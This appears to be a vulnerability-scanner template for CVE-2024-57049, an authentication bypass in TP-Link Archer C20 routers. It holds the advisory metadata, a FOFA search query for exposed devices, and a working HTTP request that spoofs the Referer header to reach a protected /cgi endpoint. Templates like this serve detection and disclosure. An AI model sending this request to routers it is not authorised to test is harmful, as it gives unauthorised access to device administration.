id: CVE-2024-57049 info: name: TP-Link Archer C20 - Authentication Bypass author: ritikchaddha severity: critical description: | A vulnerability in the TP-Link Archer C20 router with firmware version V6.6_230412 and earlier permits unauthorized individuals to bypass authentication on interfaces under the /cgi directory. When adding a Referer header with value "http://tplinkwifi.net" to requests, the router will recognize the request as passing authentication, allowing access to protected administration interfaces. impact: | Unauthenticated attackers can bypass authentication by adding a specific Referer header, gaining unauthorized access to protected administration interfaces and router configuration. remediation: | Update TP-Link Archer C20 router to firmware version later than V6.6_230412 that addresses the authentication bypass vulnerability. reference: - https://github.com/Shuanunio/CVE_Requests/blob/main/TP-Link/archer%20c20/ACL%20bypass%20Vulnerability%20in%20TP-Link%20archer%20c20.md - https://nvd.nist.gov/vuln/detail/CVE-2024-57049 - https://github.com/advisories/GHSA-qr32-fcm4-m5h9 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-57049 cwe-id: CWE-287 epss-score: 0.03211 epss-percentile: 0.86579 metadata: max-request: 1 verified: true fofa-query: body="Archer C20" tags: cve,cve2024,tp-link,auth-bypass,archer-c20,vkev,vuln http: - raw: - | POST /cgi/getGDPRParm HTTP/1.1 Host: {{Hostname}} Referer: http://tplinkwifi.net matchers-condition: and matchers: - type: word part: body words: - "$.ret=0;" - "var " condition: and - type: word part: content_type words: - "application/javascript" - type: status status: - 200 # digest: 4a0a00473045022100e5f555a941ed4c32ff83bd19611b8cc361b4586286622c1677d87d30366b24a202206e6cc7e1b6d84e1e1f3c6005d3d75657fde626aa3ce3ac88c01fb61bc3065a33:922c64590222798bb761d5b6d8e72950